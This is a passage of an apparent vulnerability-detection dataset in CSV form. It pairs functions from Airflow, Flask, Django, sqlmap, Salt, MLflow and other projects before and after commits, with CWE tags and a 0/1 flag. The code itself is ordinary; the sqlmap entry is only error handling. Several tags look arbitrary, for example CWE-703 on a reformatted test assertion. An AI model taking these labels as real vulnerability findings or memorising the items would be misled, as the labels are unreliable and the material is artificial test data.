""tests/providers/google/cloud/links/test_spanner.py"",
""tests/providers/google/cloud/links/test_stackdriver.py"",
""tests/providers/google/cloud/links/test_vertex_ai.py"",
""tests/providers/google/cloud/links/test_workflows.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_auto_ml.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_custom_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_dataset.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_model_service.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
""tests/providers/google/cloud/sensors/test_dataform.py"",
""tests/providers/google/cloud/transfers/test_bigquery_to_sql.py"",
""tests/providers/google/cloud/transfers/test_presto_to_gcs.py"",
""tests/providers/google/cloud/transfers/test_trino_to_gcs.py"",
""tests/providers/google/cloud/triggers/test_cloud_composer.py"",
""tests/providers/google/cloud/utils/test_bigquery.py"",
""tests/providers/google/cloud/utils/test_bigquery_get_data.py"",
""tests/providers/google/cloud/utils/test_dataform.py"",
""tests/providers/google/common/links/test_storage.py"",
""tests/providers/google/common/test_consts.py"",
""tests/providers/google/test_go_module_utils.py"",
""tests/providers/microsoft/azure/fs/test_adls.py"",
""tests/providers/microsoft/azure/operators/test_adls.py"",
""tests/providers/microsoft/azure/transfers/test_azure_blob_to_gcs.py"",
""tests/providers/microsoft/azure/triggers/test_wasb.py"",
""tests/providers/mongo/sensors/test_mongo.py"",
""tests/providers/openlineage/extractors/test_manager.py"",
""tests/providers/openlineage/plugins/test_adapter.py"",
""tests/providers/openlineage/plugins/test_facets.py"",
""tests/providers/openlineage/test_sqlparser.py"",
""tests/providers/redis/operators/test_redis_publish.py"",
""tests/providers/redis/sensors/test_redis_key.py"",
""tests/providers/slack/notifications/test_slack_notifier.py"",
""tests/providers/snowflake/triggers/test_snowflake_trigger.py"",
]
# TODO: Should we extend this test to cover other directories?
modules_files = list(glob.glob(f""{ROOT_FOLDER}/airflow/providers/**/*.py"", recursive=True))
# Make path relative
modules_files = list(os.path.relpath(f, ROOT_FOLDER) for f in modules_files)
# Exclude example_dags
modules_files = list(f for f in modules_files if ""/example_dags/"" not in f)
# Exclude __init__.py
modules_files = list(f for f in modules_files if not f.endswith(""__init__.py""))
# Change airflow/ to tests/
expected_test_files = list(
f'tests/{f.partition(""/"")[2]}' for f in modules_files if not f.endswith(""__init__.py"")
)
# Add test_ prefix to filename
expected_test_files = list(
f'{f.rpartition(""/"")[0]}/test_{f.rpartition(""/"")[2]}'
for f in expected_test_files
if not f.endswith(""__init__.py"")
)
current_test_files = glob.glob(f""{ROOT_FOLDER}/tests/providers/**/*.py"", recursive=True)
# Make path relative
current_test_files = (os.path.relpath(f, ROOT_FOLDER) for f in current_test_files)
# Exclude __init__.py
current_test_files = (f for f in current_test_files if not f.endswith(""__init__.py""))
modules_files = set(modules_files)
expected_test_files = set(expected_test_files) - set(OVERLOOKED_TESTS)
current_test_files = set(current_test_files)
missing_tests_files = expected_test_files - expected_test_files.intersection(current_test_files)
assert set() == missing_tests_files, ""Detect missing tests in providers module - please add tests""
added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
assert set() == added_test_files, (
""Detect added tests in providers module - please remove the tests ""
""from OVERLOOKED_TESTS list above""
)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/wrappers.py,0,"def blueprint(self):
""""""The name of the current blueprint""""""
if self.url_rule and '.' in self.url_rule.endpoint:
return self.url_rule.endpoint.rsplit('.', 1)[0]",,pallets/flask,ea7a1720779ab4680304d2bc9dffcb6f5c7f2798,"def blueprint(self):
""""""The name of the current blueprint""""""
if self.url_rule and '.' in self.url_rule.endpoint:
return self.url_rule.endpoint.split('.', 1)[0]"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/hooks/test_s3.py,1,"def test_load_string_acl(self, s3_bucket):
hook = S3Hook()
hook.load_string(""Contént"", ""my_key"", s3_bucket, acl_policy=""public-read"")
response = boto3.client(""s3"").get_object_acl(Bucket=s3_bucket, Key=""my_key"", RequestPayer=""requester"")
assert response[""Grants""][1][""Permission""] == ""READ""
assert response[""Grants""][0][""Permission""] == ""FULL_CONTROL""",CWE-703,apache/airflow,9721e0b82d6102847b840955e8351cce06d4184a,"def test_load_string_acl(self, s3_bucket):
hook = S3Hook()
hook.load_string(""Contént"", ""my_key"", s3_bucket, acl_policy=""public-read"")
response = boto3.client(""s3"").get_object_acl(Bucket=s3_bucket, Key=""my_key"", RequestPayer=""requester"")
assert (response[""Grants""][1][""Permission""] == ""READ"") and (
response[""Grants""][0][""Permission""] == ""FULL_CONTROL""
)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/contenttypes/fields.py,0,"def _apply_rel_filters(self, queryset):
""""""
Filter the queryset for the instance this manager is bound to.
""""""
db = self._db or router.db_for_read(self.model, instance=self.instance)
return queryset.using(db).filter(**self.core_filters)",CWE-Unknown,django/django,c02d473781dc2e8699db8edd37cc77f7d43993fc,"def _apply_rel_filters(self, queryset):
""""""
Filter the queryset for the instance this manager is bound to.
""""""
db = self._db or router.db_for_read(self.model, instance=self.instance)
return queryset.using(db).filter(**self.core_filters)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_utils/get_all_tests.py,0,"def last_replace(s, old, new, number_of_occurrences):
""""""
Replaces last n occurrences of the old string with the new one within the string provided
:param s: string to replace occurrences with
:param old: old string
:param new: new string
:param number_of_occurrences: how many occurrences should be replaced
:return: string with last n occurrences replaced
""""""
list_of_components = s.rsplit(old, number_of_occurrences)
return new.join(list_of_components)",CWE-Unknown,apache/airflow,4903c9730c09f8a98bdf1d891479be0b1cd238c8,"def last_replace(s, old, new, number_of_occurrences):
""""""
Replaces last n occurrences of the old string with the new one within the string provided
:param s: string to replace occurrences with
:param old: old string
:param new: new string
:param number_of_occurrences: how many occurrences should be replaced
:return: string with last n occurrences replaced
""""""
list_of_components = s.rsplit(old, number_of_occurrences)
return new.join(list_of_components)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/auth_tests/test_handlers.py,0,"def test_check_password(self):
""""""
Verify that check_password returns the correct values as per
https://modwsgi.readthedocs.org/en/develop/user-guides/access-control-mechanisms.html#apache-authentication-provider
""""""
User.objects.create_user('test', 'test@example.com', 'test')
# User not in database
self.assertIsNone(check_password({}, 'unknown', ''))
# Valid user with correct password
self.assertTrue(check_password({}, 'test', 'test'))
# correct password, but user is inactive
User.objects.filter(username='test').update(is_active=False)
self.assertFalse(check_password({}, 'test', 'test'))
# Valid user with incorrect password
self.assertFalse(check_password({}, 'test', 'incorrect'))",CWE-Unknown,django/django,6679cdd92c71a77f1809c180174de026a6c17918,"def test_check_password(self):
""""""
Verify that check_password returns the correct values as per
http://code.google.com/p/modwsgi/wiki/AccessControlMechanisms#Apache_Authentication_Provider
""""""
User.objects.create_user('test', 'test@example.com', 'test')
# User not in database
self.assertIsNone(check_password({}, 'unknown', ''))
# Valid user with correct password
self.assertTrue(check_password({}, 'test', 'test'))
# correct password, but user is inactive
User.objects.filter(username='test').update(is_active=False)
self.assertFalse(check_password({}, 'test', 'test'))
# Valid user with incorrect password
self.assertFalse(check_password({}, 'test', 'incorrect'))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/result_store.py,0,"def __init__(self, logger, config, agg_type):
self.count = 0
self.skipped = []
self.logger = logger
self.config = config
self.agg_type = agg_type
self.level = 0
self.max_lines = -1",UNKNOWN,PyCQA/bandit,41fd5946fafb3e4b9ebfc8e430f3f4d0f7f82a21,"def __init__(self, logger, config, agg_type):
self.count = 0
self.skipped = []
self.logger = logger
self.config = config
self.agg_type = agg_type
self.level = 0"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/connection/winrm.py,0,"def __init__(self, *args, **kwargs):
self.has_pipelining = False
self.protocol = None
self.shell_id = None
self.delegate = None
self._shell_type = 'powershell'
# FUTURE: Add runas support
super(Connection, self).__init__(*args, **kwargs)",,ansible/ansible,6b286ee0c88f3252a27ff94f39d794566c3f7d6f,"def __init__(self, *args, **kwargs):
self.has_pipelining = False
self.protocol = None
self.shell_id = None
self.delegate = None
self._shell_type = 'powershell'
# FUTURE: Add runas support
super(Connection, self).__init__(*args, **kwargs)"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/state/test_state.py,1,"def test_issue_62264_requisite_not_found(state, state_tree):
""""""
This tests that the proper state module is referenced for _in requisites
when no explicit state module is given.
Context: https://github.com/saltstack/salt/pull/62264
""""""
sls_contents = """"""
stuff:
cmd.run:
- name: echo hello
thing_test:
cmd.run:
- name: echo world
- require_in:
- /stuff/*
- test: service_running
service_running:
test.succeed_without_changes:
- require:
- cmd: stuff
""""""
with pytest.helpers.temp_file(""issue-62264.sls"", sls_contents, state_tree):
ret = state.sls(""issue-62264"")
for state_return in ret:
assert state_return.result is True
assert ""The following requisites were not found"" not in state_return.comment",CWE-703,saltstack/salt,43c0012250ee5620d44d3fe8778cbd99dbe442d4,"def test_issue_62264_requisite_not_found(state, state_tree):
""""""
This tests that the proper state module is referenced for _in requisites
when no explicit state module is given.
Context: https://github.com/saltstack/salt/pull/62264
""""""
sls_contents = """"""
stuff:
cmd.run:
- name: echo hello
thing_test:
cmd.run:
- name: echo world
- require_in:
- /stuff/*
- test: service_running
service_running:
test.succeed_without_changes:
- require:
- cmd: stuff
""""""
with pytest.helpers.temp_file(""issue-62264.sls"", sls_contents, state_tree):
ret = state.sls(""issue-62264"")
for state_return in ret:
assert state_return.result is True
assert ""The following requisites were not found"" not in state_return.comment"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/cli.py,0,"def load_app(self) -> Flask:
""""""Loads the Flask app (if not yet loaded) and returns it. Calling
this multiple times will just result in the already loaded app to
be returned.
""""""
if self._loaded_app is not None:
return self._loaded_app
app: Flask | None = None
if self.create_app is not None:
app = self.create_app()
else:
if self.app_import_path:
path, name = (
re.split(r"":(?![\\/])"", self.app_import_path, maxsplit=1) + [None]
)[:2]
import_name = prepare_import(path)
app = locate_app(import_name, name)
else:
for path in (""wsgi.py"", ""app.py""):
import_name = prepare_import(path)
app = locate_app(import_name, None, raise_if_not_found=False)
if app is not None:
break
if app is None:
raise NoAppException(
""Could not locate a Flask application. Use the""
"" 'flask --app' option, 'FLASK_APP' environment""
"" variable, or a 'wsgi.py' or 'app.py' file in the""
"" current directory.""
)
if self.set_debug_flag:
# Update the app's debug flag through the descriptor so that
# other values repopulate as well.
app.debug = get_debug_flag()
self._loaded_app = app
return app",,pallets/flask,e8b91cd38aadafdf733558bbcea4810fa65bb849,"def load_app(self) -> Flask:
""""""Loads the Flask app (if not yet loaded) and returns it. Calling
this multiple times will just result in the already loaded app to
be returned.
""""""
if self._loaded_app is not None:
return self._loaded_app
if self.create_app is not None:
app: Flask | None = self.create_app()
else:
if self.app_import_path:
path, name = (
re.split(r"":(?![\\/])"", self.app_import_path, maxsplit=1) + [None]
)[:2]
import_name = prepare_import(path)
app = locate_app(import_name, name)
else:
for path in (""wsgi.py"", ""app.py""):
import_name = prepare_import(path)
app = locate_app(import_name, None, raise_if_not_found=False)
if app is not None:
break
if app is None:
raise NoAppException(
""Could not locate a Flask application. Use the""
"" 'flask --app' option, 'FLASK_APP' environment""
"" variable, or a 'wsgi.py' or 'app.py' file in the""
"" current directory.""
)
if self.set_debug_flag:
# Update the app's debug flag through the descriptor so that
# other values repopulate as well.
app.debug = get_debug_flag()
self._loaded_app = app
return app"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
""""""
Main function of sqlmap when running from command line.
""""""
try:
checkEnvironment()
setPaths(modulePath())
banner()
# Store original command line options for possible later restoration
cmdLineOptions.update(cmdLineParser().__dict__)
initOptions(cmdLineOptions)
if conf.get(""api""):
# heavy imports
from lib.utils.api import StdDbOut
from lib.utils.api import setRestAPILog
# Overwrite system standard output and standard error to write
# to an IPC database
sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
setRestAPILog()
conf.showTime = True
dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)
init()
if not conf.updateAll:
# Postponed imports (faster start)
if conf.profile:
from lib.core.profiling import profile
profile()
elif conf.smokeTest:
from lib.core.testing import smokeTest
smokeTest()
elif conf.liveTest:
from lib.core.testing import liveTest
liveTest()
else:
from lib.controller.controller import start
try:
start()
except thread.error as ex:
if ""can't start new thread"" in getSafeExString(ex):
errMsg = ""unable to start new threads. Please check OS (u)limits""
logger.critical(errMsg)
raise SystemExit
else:
raise
except SqlmapUserQuitException:
errMsg = ""user quit""
try:
logger.error(errMsg)
except KeyboardInterrupt:
pass
except (SqlmapSilentQuitException, bdb.BdbQuit):
pass
except SqlmapShellQuitException:
cmdLineOptions.sqlmapShell = False
except SqlmapBaseException as ex:
errMsg = getSafeExString(ex)
try:
logger.critical(errMsg)
except KeyboardInterrupt:
pass
raise SystemExit
except KeyboardInterrupt:
print
errMsg = ""user aborted""
try:
logger.error(errMsg)
except KeyboardInterrupt:
pass
except EOFError:
print
errMsg = ""exit""
try:
logger.error(errMsg)
except KeyboardInterrupt:
pass
except SystemExit:
pass
except:
print
errMsg = unhandledExceptionMessage()
excMsg = traceback.format_exc()
valid = checkIntegrity()
try:
if valid is False:
errMsg = ""code integrity check failed (turning off automatic issue creation). ""
errMsg += ""You should retrieve the latest development version from official GitHub ""
errMsg += ""repository at '%s'"" % GIT_PAGE
logger.critical(errMsg)
print
dataToStdout(excMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
logger.critical(errMsg)
print
dataToStdout(excMsg)
raise SystemExit
elif ""MemoryError"" in excMsg:
errMsg = ""memory exhaustion detected""
logger.error(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
errMsg = ""no space left on output device""
logger.error(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""No such file"", ""_'"", ""self.get_prog_name()"")):
errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
errMsg += ""You should retrieve the latest development version from official GitHub ""
errMsg += ""repository at '%s'"" % GIT_PAGE
logger.error(errMsg)
raise SystemExit
elif ""Read-only file system"" in excMsg:
errMsg = ""output device is mounted as read-only""
logger.error(errMsg)
raise SystemExit
elif ""OperationalError: disk I/O error"" in excMsg:
errMsg = ""I/O error on output device""
logger.error(errMsg)
raise SystemExit
elif ""Violation of BIDI"" in excMsg:
errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
logger.error(errMsg)
raise SystemExit
elif ""_mkstemp_inner"" in excMsg:
errMsg = ""there has been a problem while accessing temporary files""
logger.error(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
errMsg = ""please update the 'sqlalchemy' package ""
errMsg += ""(Reference: https://github.com/apache/incubator-superset/issues/3447)""
logger.error(errMsg)
raise SystemExit
elif ""must be pinned buffer, not bytearray"" in excMsg:
errMsg = ""error occurred at Python interpreter which ""
errMsg += ""is fixed in 2.7.x. Please update accordingly ""
errMsg += ""(Reference: https://bugs.python.org/issue8104)""
logger.error(errMsg)
raise SystemExit
elif ""can't start new thread"" in excMsg:
errMsg = ""there has been a problem while creating new thread instance. ""
errMsg += ""Please make sure that you are not running too many processes""
if not IS_WIN:
errMsg += "" (or increase the 'ulimit -u' value)""
logger.error(errMsg)
raise SystemExit
elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
errMsg = ""there has been a problem in enumeration. ""
errMsg += ""Because of a considerable chance of false-positive case ""
errMsg += ""you are advised to rerun with switch '--flush-session'""
logger.error(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
logger.error(errMsg)
raise SystemExit
elif ""bad marshal data (unknown type code)"" in excMsg:
match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
errMsg += "". Please delete .pyc files on your system to fix the problem""
logger.error(errMsg)
raise SystemExit
elif ""url = url.strip()"" in excMsg:
dataToStdout(excMsg)
print
errMsg = ""please contact 'miroslav@sqlmap.org' with details for this issue ""
errMsg += ""as he is trying to reproduce it for long time""
logger.error(errMsg)
raise SystemExit
elif kb.get(""dumpKeyboardInterrupt""):
raise SystemExit
elif any(_ in excMsg for _ in (""Broken pipe"",)):
raise SystemExit
for match in re.finditer(r'File ""(.+?)"", line', excMsg):
file_ = match.group(1)
file_ = os.path.relpath(file_, os.path.dirname(__file__))
file_ = file_.replace(""\\"", '/')
file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
excMsg = excMsg.replace(match.group(1), file_)
errMsg = maskSensitiveData(errMsg)
excMsg = maskSensitiveData(excMsg)
if conf.get(""api"") or not valid:
logger.critical(""%s\n%s"" % (errMsg, excMsg))
else:
logger.critical(errMsg)
kb.stickyLevel = logging.CRITICAL
dataToStdout(excMsg)
createGithubIssue(errMsg, excMsg)
except KeyboardInterrupt:
pass
finally:
kb.threadContinue = False
if conf.get(""showTime""):
dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)
kb.threadException = True
if kb.get(""tempDir""):
for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
try:
os.remove(filepath)
except OSError:
pass
if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
shutil.rmtree(kb.tempDir, ignore_errors=True)
if conf.get(""hashDB""):
try:
conf.hashDB.flush(True)
except KeyboardInterrupt:
pass
if conf.get(""harFile""):
with openFile(conf.harFile, ""w+b"") as f:
json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
if cmdLineOptions.get(""sqlmapShell""):
cmdLineOptions.clear()
conf.clear()
kb.clear()
main()
if conf.get(""api""):
try:
conf.databaseCursor.disconnect()
except KeyboardInterrupt:
pass
if conf.get(""dumper""):
conf.dumper.flush()
# short delay for thread finalization
try:
_ = time.time()
while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
time.sleep(0.01)
except KeyboardInterrupt:
pass
finally:
# Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
if threading.activeCount() > 1:
os._exit(0)",,sqlmapproject/sqlmap,c634f0b0d6261aa900cae9d7d910e18abf19c9fd,"def main():
""""""
Main function of sqlmap when running from command line.
""""""
try:
checkEnvironment()
setPaths(modulePath())
banner()
# Store original command line options for possible later restoration
cmdLineOptions.update(cmdLineParser().__dict__)
initOptions(cmdLineOptions)
if conf.get(""api""):
# heavy imports
from lib.utils.api import StdDbOut
from lib.utils.api import setRestAPILog
# Overwrite system standard output and standard error to write
# to an IPC database
sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
setRestAPILog()
conf.showTime = True
dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)
init()
if not conf.updateAll:
# Postponed imports (faster start)
if conf.profile:
from lib.core.profiling import profile
profile()
elif conf.smokeTest:
from lib.core.testing import smokeTest
smokeTest()
elif conf.liveTest:
from lib.core.testing import liveTest
liveTest()
else:
from lib.controller.controller import start
try:
start()
except thread.error as ex:
if ""can't start new thread"" in getSafeExString(ex):
errMsg = ""unable to start new threads. Please check OS (u)limits""
logger.critical(errMsg)
raise SystemExit
else:
raise
except SqlmapUserQuitException:
errMsg = ""user quit""
try:
logger.error(errMsg)
except KeyboardInterrupt:
pass
except (SqlmapSilentQuitException, bdb.BdbQuit):
pass
except SqlmapShellQuitException:
cmdLineOptions.sqlmapShell = False
except SqlmapBaseException as ex:
errMsg = getSafeExString(ex)
try:
logger.critical(errMsg)
except KeyboardInterrupt:
pass
raise SystemExit
except KeyboardInterrupt:
print
errMsg = ""user aborted""
try:
logger.error(errMsg)
except KeyboardInterrupt:
pass
except EOFError:
print
errMsg = ""exit""
try:
logger.error(errMsg)
except KeyboardInterrupt:
pass
except SystemExit:
pass
except:
print
errMsg = unhandledExceptionMessage()
excMsg = traceback.format_exc()
valid = checkIntegrity()
try:
if valid is False:
errMsg = ""code integrity check failed (turning off automatic issue creation). ""
errMsg += ""You should retrieve the latest development version from official GitHub ""
errMsg += ""repository at '%s'"" % GIT_PAGE
logger.critical(errMsg)
print
dataToStdout(excMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
logger.critical(errMsg)
print
dataToStdout(excMsg)
raise SystemExit
elif ""MemoryError"" in excMsg:
errMsg = ""memory exhaustion detected""
logger.error(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
errMsg = ""no space left on output device""
logger.error(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""No such file"", ""_'"", ""self.get_prog_name()"")):
errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
errMsg += ""You should retrieve the latest development version from official GitHub ""
errMsg += ""repository at '%s'"" % GIT_PAGE
logger.error(errMsg)
raise SystemExit
elif ""Read-only file system"" in excMsg:
errMsg = ""output device is mounted as read-only""
logger.error(errMsg)
raise SystemExit
elif ""OperationalError: disk I/O error"" in excMsg:
errMsg = ""I/O error on output device""
logger.error(errMsg)
raise SystemExit
elif ""Violation of BIDI"" in excMsg:
errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
logger.error(errMsg)
raise SystemExit
elif ""_mkstemp_inner"" in excMsg:
errMsg = ""there has been a problem while accessing temporary files""
logger.error(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
errMsg = ""please update the 'sqlalchemy' package""
errMsg += ""(Reference: https://github.com/apache/incubator-superset/issues/3447)""
logger.error(errMsg)
raise SystemExit
elif ""can't start new thread"" in excMsg:
errMsg = ""there has been a problem while creating new thread instance. ""
errMsg += ""Please make sure that you are not running too many processes""
if not IS_WIN:
errMsg += "" (or increase the 'ulimit -u' value)""
logger.error(errMsg)
raise SystemExit
elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
errMsg = ""there has been a problem in enumeration. ""
errMsg += ""Because of a considerable chance of false-positive case ""
errMsg += ""you are advised to rerun with switch '--flush-session'""
logger.error(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
logger.error(errMsg)
raise SystemExit
elif ""bad marshal data (unknown type code)"" in excMsg:
match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
errMsg += "". Please delete .pyc files on your system to fix the problem""
logger.error(errMsg)
raise SystemExit
elif ""url = url.strip()"" in excMsg:
dataToStdout(excMsg)
print
errMsg = ""please contact 'miroslav@sqlmap.org' with details for this issue ""
errMsg += ""as he is trying to reproduce it for long time""
logger.error(errMsg)
raise SystemExit
elif kb.get(""dumpKeyboardInterrupt""):
raise SystemExit
elif any(_ in excMsg for _ in (""Broken pipe"",)):
raise SystemExit
for match in re.finditer(r'File ""(.+?)"", line', excMsg):
file_ = match.group(1)
file_ = os.path.relpath(file_, os.path.dirname(__file__))
file_ = file_.replace(""\\"", '/')
file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
excMsg = excMsg.replace(match.group(1), file_)
errMsg = maskSensitiveData(errMsg)
excMsg = maskSensitiveData(excMsg)
if conf.get(""api"") or not valid:
logger.critical(""%s\n%s"" % (errMsg, excMsg))
else:
logger.critical(errMsg)
kb.stickyLevel = logging.CRITICAL
dataToStdout(excMsg)
createGithubIssue(errMsg, excMsg)
except KeyboardInterrupt:
pass
finally:
kb.threadContinue = False
if conf.get(""showTime""):
dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)
kb.threadException = True
if kb.get(""tempDir""):
for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
try:
os.remove(filepath)
except OSError:
pass
if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
shutil.rmtree(kb.tempDir, ignore_errors=True)
if conf.get(""hashDB""):
try:
conf.hashDB.flush(True)
except KeyboardInterrupt:
pass
if conf.get(""harFile""):
with openFile(conf.harFile, ""w+b"") as f:
json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
if cmdLineOptions.get(""sqlmapShell""):
cmdLineOptions.clear()
conf.clear()
kb.clear()
main()
if conf.get(""api""):
try:
conf.databaseCursor.disconnect()
except KeyboardInterrupt:
pass
if conf.get(""dumper""):
conf.dumper.flush()
# short delay for thread finalization
try:
_ = time.time()
while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
time.sleep(0.01)
except KeyboardInterrupt:
pass
finally:
# Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
if threading.activeCount() > 1:
os._exit(0)"
,UNKNOWN,UNKNOWN,mlflow/store/db_migrations/versions/6dca653c92e6_convert_experiment_id_to_big_int.py,1,"def upgrade():
# As part of MLflow 2.0 upgrade, the Experiment table's primary key `experiment_id`
# has changed from an auto-incrementing column to a non-nullable unique-constrained Integer
# column to support the uuid-based random id generation change.
engine = op.get_bind()
engine_name = engine.engine.name
# NB: sqlite doesn't support foreign keys even if they are defined. Altering a constraint
# in sqlite outside of batch operations doesn't work.
if engine_name != ""sqlite"":
foreign_keys_in_experiment_tags = inspect(engine).get_foreign_keys(""experiment_tags"")
fk = foreign_keys_in_experiment_tags[0]
op.drop_constraint(fk[""name""], table_name=""experiment_tags"", type_=""foreignkey"")
# NB: MSSQL and MySQL have special restrictions on batch updates that foreign keys.
# In order to handle type casting modifications, these constraints need to be dropped
# prior to any ALTER commands within the batch context. After type changes are complete, we
# will recreate these foreign keys (and give them names so that inspection isn't
# required in the future).
foreign_keys_in_runs = inspect(engine).get_foreign_keys(""runs"")
fk_run = foreign_keys_in_runs[0]
op.drop_constraint(fk_run[""name""], table_name=""runs"", type_=""foreignkey"")
# NB: MSSQL requires that modifications to primary key columns do not have a primary key
# status assigned to the columns. These primary keys will be recreated after altering
# the columns typing.
if engine_name == ""mssql"":
op.drop_constraint(""experiment_pk"", table_name=""experiments"", type_=""primary"")
op.drop_constraint(""experiment_tag_pk"", table_name=""experiment_tags"", type_=""primary"")
experiments_table_args = PrimaryKeyConstraint(""experiment_id"", name=""experiment_pk"")
else:
experiments_table_args = []
with op.batch_alter_table(
""experiments"",
table_args=experiments_table_args,
) as batch_op:
if engine_name == ""mssql"":
batch_op.alter_column(
""experiment_id"",
existing_type=sa.Integer,
type_=sa.BigInteger,
existing_nullable=False,
nullable=False,
existing_autoincrement=True,
autoincrement=False,
existing_server_default=None,
existing_comment=None,
)
else:
experiment_id_seq = Sequence(""experiment_id_seq"", start=1)
batch_op.alter_column(
""experiment_id"",
existing_type=sa.Integer,
type_=sa.BigInteger,
existing_nullable=False,
nullable=False,
existing_autoincrement=True,
autoincrement=False,
existing_server_default=experiment_id_seq.next_value(),
server_default=None,
)
if engine_name == ""sqlite"":
# NB: sqlite will perform an in-place copy of a table and recreate constraints as defined
# in the `table_args` argument to the batch constructor.
experiments_tags_table_args = (
PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
ForeignKeyConstraint(
columns=[""experiment_id""], refcolumns=[""experiments.experiment_id""]
),
)
else:
# For postgres and mysql, the primary key definition will be applied to the altered table
# if defined in the `table_args` argument (and will be ignored in mssql).
experiments_tags_table_args = (
PrimaryKeyConstraint(""key"", ""experiment_id"", name=""experiment_tag_pk""),
)
with op.batch_alter_table(
""experiment_tags"",
table_args=experiments_tags_table_args,
) as batch_op:
batch_op.alter_column(
""experiment_id"",
existing_type=sa.Integer,
type_=sa.BigInteger,
existing_nullable=False,
nullable=False,
)
with op.batch_alter_table(
""runs"",
) as batch_op:
batch_op.alter_column(
""experiment_id"",
existing_type=sa.Integer,
type_=sa.BigInteger,
existing_nullable=True,
nullable=True,
)
if engine_name == ""sqlite"":
# sqlite will not port over unnamed constraints. Existing version has this
# constraint defined as `CHECK()` rather than `CONSTRAINT CHECK()`
batch_op.create_check_constraint(
constraint_name=""status"",
condition=""status IN ('SCHEDULED', 'FAILED', 'FINISHED', 'RUNNING', 'KILLED')"",
)
# NB: MSSQL identity columns cannot be modified. Copying data to new column.
# Then, drooping original and renaming the new column.
